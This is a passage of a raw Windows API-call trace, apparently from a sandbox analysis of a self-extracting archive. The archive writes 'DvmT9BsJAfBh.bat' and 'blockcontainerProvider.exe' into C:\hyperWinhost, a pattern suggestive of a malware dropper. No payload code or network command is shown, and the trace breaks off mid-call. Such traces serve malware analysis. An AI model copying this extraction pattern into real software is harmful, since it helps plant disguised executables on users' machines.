RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x200000) returned 0x2e20020 [0038.217] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35ead0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35ead0*=0) returned 0x7 [0038.217] ReadFile (in: hFile=0x14c, lpBuffer=0x2e20020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x35ea9c, lpOverlapped=0x0 | out: lpBuffer=0x2e20020*, lpNumberOfBytesRead=0x35ea9c*=0x1176e6, lpOverlapped=0x0) returned 1 [0038.253] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288768, lpDistanceToMoveHigh=0x35eab0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eab0*=0) returned 0x46800 [0038.253] ReadFile (in: hFile=0x14c, lpBuffer=0x360d24, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35ea9c, lpOverlapped=0x0 | out: lpBuffer=0x360d24*, lpNumberOfBytesRead=0x35ea9c*=0x7, lpOverlapped=0x0) returned 1 [0038.273] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2e20020 | out: hHeap=0x590000) returned 1 [0038.287] ReadFile (in: hFile=0x14c, lpBuffer=0x360d2b, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35ea9c, lpOverlapped=0x0 | out: lpBuffer=0x360d2b*, lpNumberOfBytesRead=0x35ea9c*=0x1, lpOverlapped=0x0) returned 1 [0038.287] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eac4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eac4*=0) returned 0x46808 [0038.287] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f908 [0038.287] ReadFile (in: hFile=0x14c, lpBuffer=0x61f908, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x61f908*, lpNumberOfBytesRead=0x35c984*=0x7, lpOverlapped=0x0) returned 1 [0038.287] ReadFile (in: hFile=0x14c, lpBuffer=0x61f90f, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x61f90f*, lpNumberOfBytesRead=0x35c984*=0xa, lpOverlapped=0x0) returned 1 [0038.288] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f908 | out: hHeap=0x590000) returned 1 [0038.288] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288793, lpDistanceToMoveHigh=0x35eaa4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eaa4*=0) returned 0x46819 [0038.288] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35ead0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35ead0*=0) returned 0x46819 [0038.288] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eac4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eac4*=0) returned 0x46819 [0038.288] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f908 [0038.288] ReadFile (in: hFile=0x14c, lpBuffer=0x61f908, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x61f908*, lpNumberOfBytesRead=0x35c984*=0x7, lpOverlapped=0x0) returned 1 [0038.288] ReadFile (in: hFile=0x14c, lpBuffer=0x61f90f, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x61f90f*, lpNumberOfBytesRead=0x35c984*=0x11, lpOverlapped=0x0) returned 1 [0038.289] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f908 | out: hHeap=0x590000) returned 1 [0038.289] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288899, lpDistanceToMoveHigh=0x35eaa4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eaa4*=0) returned 0x46883 [0038.289] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eac4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eac4*=0) returned 0x46883 [0038.289] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f908 [0038.289] ReadFile (in: hFile=0x14c, lpBuffer=0x61f908, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x61f908*, lpNumberOfBytesRead=0x35c984*=0x7, lpOverlapped=0x0) returned 1 [0038.289] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x61f908, Size=0x48) returned 0x620f78 [0038.289] ReadFile (in: hFile=0x14c, lpBuffer=0x620f7f, nNumberOfBytesToRead=0x2a, lpNumberOfBytesRead=0x35c984, lpOverlapped=0x0 | out: lpBuffer=0x620f7f*, lpNumberOfBytesRead=0x35c984*=0x2a, lpOverlapped=0x0) returned 1 [0038.290] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620f78 | out: hHeap=0x590000) returned 1 [0038.290] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288793, lpDistanceToMoveHigh=0x35eab0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eab0*=0) returned 0x46819 [0038.290] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eaec*=0) returned 0x46819 [0038.290] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eacc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x35eacc*=0) returned 0x1176ed [0038.290] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eaec*=0) returned 0x1176ed [0038.290] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288793, lpDistanceToMoveHigh=0x35eacc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eacc*=0) returned 0x46819 [0038.290] GetSystemTime (in: lpSystemTime=0x35eaf0 | out: lpSystemTime=0x35eaf0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0xf, wMinute=0x10, wSecond=0x19, wMilliseconds=0x29e)) [0038.290] SystemTimeToFileTime (in: lpSystemTime=0x35eaf0, lpFileTime=0x35eb00 | out: lpFileTime=0x35eb00) returned 1 [0038.291] LoadStringW (in: hInstance=0x870000, uID=0x8d, lpBuffer=0x8b2798, cchBufferMax=1024 | out: lpBuffer="Extracting from %s") returned 0x12 [0038.291] GetLastError () returned 0x0 [0038.291] SetLastError (dwErrCode=0x0) [0038.291] PeekMessageW (in: lpMsg=0x35d670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x35d670) returned 0 [0038.291] GetDlgItem (hDlg=0x302a6, nIDDlgItem=104) returned 0x2031a [0038.291] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x2c [0038.291] SendMessageW (hWnd=0x2031a, Msg=0x43a, wParam=0x0, lParam=0x35d6a4) returned 0xf800003f [0038.291] SendMessageW (hWnd=0x2031a, Msg=0x444, wParam=0x1, lParam=0x35d6a4) returned 0x1 [0038.291] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x35d70c) returned 0x1c [0038.293] SendMessageW (hWnd=0x2031a, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x48 [0038.293] SendMessageW (hWnd=0x2031a, Msg=0xc2, wParam=0x0, lParam=0x8a431c) returned 0x1 [0038.293] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eae0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eae0*=0) returned 0x46819 [0038.293] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288793, lpDistanceToMoveHigh=0x35eaac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eaac*=0) returned 0x46819 [0038.293] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eaac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eaac*=0) returned 0x46819 [0038.293] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.293] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c96c, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c96c*=0x7, lpOverlapped=0x0) returned 1 [0038.293] ReadFile (in: hFile=0x14c, lpBuffer=0x61f897, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x35c96c, lpOverlapped=0x0 | out: lpBuffer=0x61f897*, lpNumberOfBytesRead=0x35c96c*=0x11, lpOverlapped=0x0) returned 1 [0038.294] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f890 | out: hHeap=0x590000) returned 1 [0038.294] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5e70b0 [0038.294] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5ef0c0 [0038.294] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x40000) returned 0x621fe8 [0038.300] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x52) returned 0x5c3ff0 [0038.300] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xb54) returned 0x661ff0 [0038.300] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2220020 [0038.300] ReadFile (in: hFile=0x14c, lpBuffer=0x2220020, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x3502f4, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesRead=0x3502f4*=0x52, lpOverlapped=0x0) returned 1 [0038.300] PeekMessageW (in: lpMsg=0x350300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x350300) returned 0 [0038.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.300] PeekMessageW (in: lpMsg=0x35030c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x35030c) returned 0 [0038.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.300] PeekMessageW (in: lpMsg=0x3502f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3502f8) returned 0 [0038.300] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.314] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2220020 | out: hHeap=0x590000) returned 1 [0038.317] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x621fe8 | out: hHeap=0x590000) returned 1 [0038.317] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ef0c0 | out: hHeap=0x590000) returned 1 [0038.318] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e70b0 | out: hHeap=0x590000) returned 1 [0038.318] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c3ff0, Size=0x86) returned 0x5c3ff0 [0038.318] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa6) returned 0x592860 [0038.319] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c3ff0 | out: hHeap=0x590000) returned 1 [0038.319] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288793, lpDistanceToMoveHigh=0x35eac0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x35eac0*=0) returned 0x46819 [0038.319] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x592860 | out: hHeap=0x590000) returned 1 [0038.319] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eb14*=0) returned 0x46819 [0038.320] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.320] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.320] ReadFile (in: hFile=0x14c, lpBuffer=0x61f897, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f897*, lpNumberOfBytesRead=0x35c9d4*=0x11, lpOverlapped=0x0) returned 1 [0038.320] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61f890 | out: hHeap=0x590000) returned 1 [0038.320] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288899, lpDistanceToMoveHigh=0x359928*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359928*=0) returned 0x46883 [0038.321] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eb14*=0) returned 0x46883 [0038.321] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.321] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.321] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x61f890, Size=0x48) returned 0x620f78 [0038.321] ReadFile (in: hFile=0x14c, lpBuffer=0x620f7f, nNumberOfBytesToRead=0x2a, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x620f7f*, lpNumberOfBytesRead=0x35c9d4*=0x2a, lpOverlapped=0x0) returned 1 [0038.322] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620f78 | out: hHeap=0x590000) returned 1 [0038.322] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="DvmT9BsJAfBh.bat", cchCount2=1) returned 1 [0038.322] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.323] GetProcAddress (hModule=0x77000000, lpProcName="CharUpperW") returned 0x7701f350 [0038.323] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x35785c | out: lpflOldProtect=0x35785c*=0x4) returned 1 [0038.323] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="DvmT9BsJAfBh.bat", cchCount2=-1) returned 1 [0038.323] SetFilePointer (in: hFile=0x14c, lDistanceToMove=288948, lpDistanceToMoveHigh=0x359934*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359934*=0) returned 0x468b4 [0038.323] LoadStringW (in: hInstance=0x870000, uID=0x65, lpBuffer=0x8b2f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0038.323] GetLastError () returned 0x6 [0038.323] SetLastError (dwErrCode=0x6) [0038.323] SetDlgItemTextW (hDlg=0x302a6, nIDDlgItem=101, lpString="Extracting DvmT9BsJAfBh.bat") returned 1 [0038.323] PeekMessageW (in: lpMsg=0x358520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x358520) returned 0 [0038.323] FindFirstFileW (in: lpFileName="DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.324] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3576c4 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\hyperWinhost\\DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.324] GetLastError () returned 0x2 [0038.324] GetFileAttributesW (lpFileName="DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat")) returned 0xffffffff [0038.324] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x35688c | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\hyperWinhost\\DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat")) returned 0xffffffff [0038.324] CreateFileW (lpFileName="DvmT9BsJAfBh.bat" (normalized: "c:\\hyperwinhost\\dvmt9bsjafbh.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0038.325] GetFileType (hFile=0x150) returned 0x1 [0038.325] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xb54) returned 0x5e70b0 [0038.325] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xb54) returned 0x5e7c10 [0038.325] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2220020 [0038.325] ReadFile (in: hFile=0x14c, lpBuffer=0x2220020, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x3598bc, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesRead=0x3598bc*=0x9c, lpOverlapped=0x0) returned 1 [0038.325] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x19, lParam=0x0) returned 0x0 [0038.326] PeekMessageW (in: lpMsg=0x359864, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x359864) returned 0 [0038.326] PeekMessageW (in: lpMsg=0x3598c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c8) returned 0 [0038.326] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.327] WriteFile (in: hFile=0x150, lpBuffer=0x2220020*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x3598f0, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesWritten=0x3598f0*=0x9c, lpOverlapped=0x0) returned 1 [0038.328] PeekMessageW (in: lpMsg=0x3598d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598d4) returned 0 [0038.328] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.328] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x19, lParam=0x0) returned 0x19 [0038.328] PeekMessageW (in: lpMsg=0x35985c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x35985c) returned 0 [0038.328] PeekMessageW (in: lpMsg=0x3598c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c0) returned 0 [0038.328] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.334] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2220020 | out: hHeap=0x590000) returned 1 [0038.335] SetFilePointer (in: hFile=0x14c, lDistanceToMove=289104, lpDistanceToMoveHigh=0x359928*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359928*=0) returned 0x46950 [0038.335] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x359934) returned 1 [0038.335] CloseHandle (hObject=0x150) returned 1 [0038.336] SetFileAttributesW (lpFileName="DvmT9BsJAfBh.bat", dwFileAttributes=0x20) returned 1 [0038.336] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x35eb14*=0) returned 0x46950 [0038.336] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x61f890 [0038.336] ReadFile (in: hFile=0x14c, lpBuffer=0x61f890, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x61f890*, lpNumberOfBytesRead=0x35c9d4*=0x7, lpOverlapped=0x0) returned 1 [0038.337] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x61f890, Size=0x48) returned 0x620f78 [0038.337] ReadFile (in: hFile=0x14c, lpBuffer=0x620f7f, nNumberOfBytesToRead=0x36, lpNumberOfBytesRead=0x35c9d4, lpOverlapped=0x0 | out: lpBuffer=0x620f7f*, lpNumberOfBytesRead=0x35c9d4*=0x36, lpOverlapped=0x0) returned 1 [0038.337] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620f78 | out: hHeap=0x590000) returned 1 [0038.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="blockcontainerProvider.exe", cchCount2=1) returned 1 [0038.337] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="blockcontainerProvider.exe", cchCount2=-1) returned 1 [0038.337] SetFilePointer (in: hFile=0x14c, lDistanceToMove=289165, lpDistanceToMoveHigh=0x359934*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359934*=0) returned 0x4698d [0038.338] LoadStringW (in: hInstance=0x870000, uID=0x65, lpBuffer=0x8b3798, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0038.338] GetLastError () returned 0x0 [0038.338] SetLastError (dwErrCode=0x0) [0038.338] SetDlgItemTextW (hDlg=0x302a6, nIDDlgItem=101, lpString="Extracting blockcontainerProvider.exe") returned 1 [0038.338] PeekMessageW (in: lpMsg=0x358520, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x358520) returned 0 [0038.338] FindFirstFileW (in: lpFileName="blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.338] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x3576c4 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpFindFileData=0x3586e8 | out: lpFindFileData=0x3586e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0038.339] GetLastError () returned 0x2 [0038.339] GetFileAttributesW (lpFileName="blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0xffffffff [0038.339] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x35688c | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0038.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0xffffffff [0038.339] CreateFileW (lpFileName="blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0038.340] GetFileType (hFile=0x150) returned 0x1 [0038.340] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2220020 [0038.340] ReadFile (in: hFile=0x14c, lpBuffer=0x2220020, nNumberOfBytesToRead=0xd0c00, lpNumberOfBytesRead=0x3598bc, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesRead=0x3598bc*=0xd0c00, lpOverlapped=0x0) returned 1 [0038.356] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x19 [0038.356] PeekMessageW (in: lpMsg=0x359864, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x359864) returned 0 [0038.356] PeekMessageW (in: lpMsg=0x3598c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c8) returned 0 [0038.356] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.356] WriteFile (in: hFile=0x150, lpBuffer=0x2220020*, nNumberOfBytesToWrite=0xd0c00, lpNumberOfBytesWritten=0x3598f0, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesWritten=0x3598f0*=0xd0c00, lpOverlapped=0x0) returned 1 [0038.374] PeekMessageW (in: lpMsg=0x3598d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598d4) returned 1 [0038.374] GetMessageW (in: lpMsg=0x3598d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3598d4) returned 1 [0038.374] IsDialogMessageW (hDlg=0x302a6, lpMsg=0x3598d4) returned 1 [0038.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.374] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0038.374] PeekMessageW (in: lpMsg=0x35985c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x35985c) returned 0 [0038.374] PeekMessageW (in: lpMsg=0x3598c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3598c0) returned 0 [0038.374] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.381] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2220020 | out: hHeap=0x590000) returned 1 [0038.386] SetFilePointer (in: hFile=0x14c, lDistanceToMove=1144205, lpDistanceToMoveHigh=0x359928*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x359928*=0) returned 0x11758d [0038.386] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x359934) returned 1 [0038.386] CloseHandle (hObject=0x150) returned 1 [0038.397] SetFileAttributesW (lpFileName="blockcontainerProvider.exe", dwFileAttributes=0x20) returned 1 [0038.398] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x35eb14*=0, dwMoveMethod=0x1 | out: 